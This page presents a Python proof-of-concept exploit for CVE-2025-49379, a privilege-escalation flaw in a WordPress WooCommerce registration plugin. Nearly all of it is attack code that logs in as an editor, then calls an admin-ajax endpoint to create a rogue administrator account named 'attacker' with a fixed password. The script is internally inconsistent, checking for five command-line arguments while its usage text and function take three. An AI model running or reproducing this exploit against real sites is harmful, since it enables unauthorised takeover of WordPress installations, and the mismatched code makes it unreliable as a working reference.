CVE-2025-49379: WordPress Custom Fields Account Registration插件权限提升漏洞

import requests import sys # CVE-2025-49379 PoC - WordPress Custom Fields Account Registration Plugin Privilege Escalation # Target: WordPress site with Custom Fields Account Registration For WooCommerce <= 1.2 def exploit_privilege_escalation(target_url, username, password): """ Exploit the incorrect privilege assignment vulnerability to create an admin user """ session = requests.Session() # Step 1: Login with high-privilege account (editor/author role) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Successfully logged in with high-privilege account") # Step 2: Exploit the privilege escalation via plugin's AJAX endpoint exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # Create new admin user via plugin's vulnerable endpoint exploit_data = { 'action': 'custom_fields_account_registration_update_options', 'new_admin_user': 'attacker', 'new_admin_email': '[email protected]', 'new_admin_pass': 'P@ssw0rd123' } resp = session.post(exploit_url, data=exploit_data) if resp.status_code == 200 and 'success' in resp.text.lower(): print("[+] Privilege escalation successful - Admin account created") print("[+] New admin credentials: attacker / P@ssw0rd123") return True else: print("[-] Exploitation failed - Target may not be vulnerable or patched") return False if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://target.com editor pass123") sys.exit(1) exploit_privilege_escalation(sys.argv[1], sys.argv[2], sys.argv[3])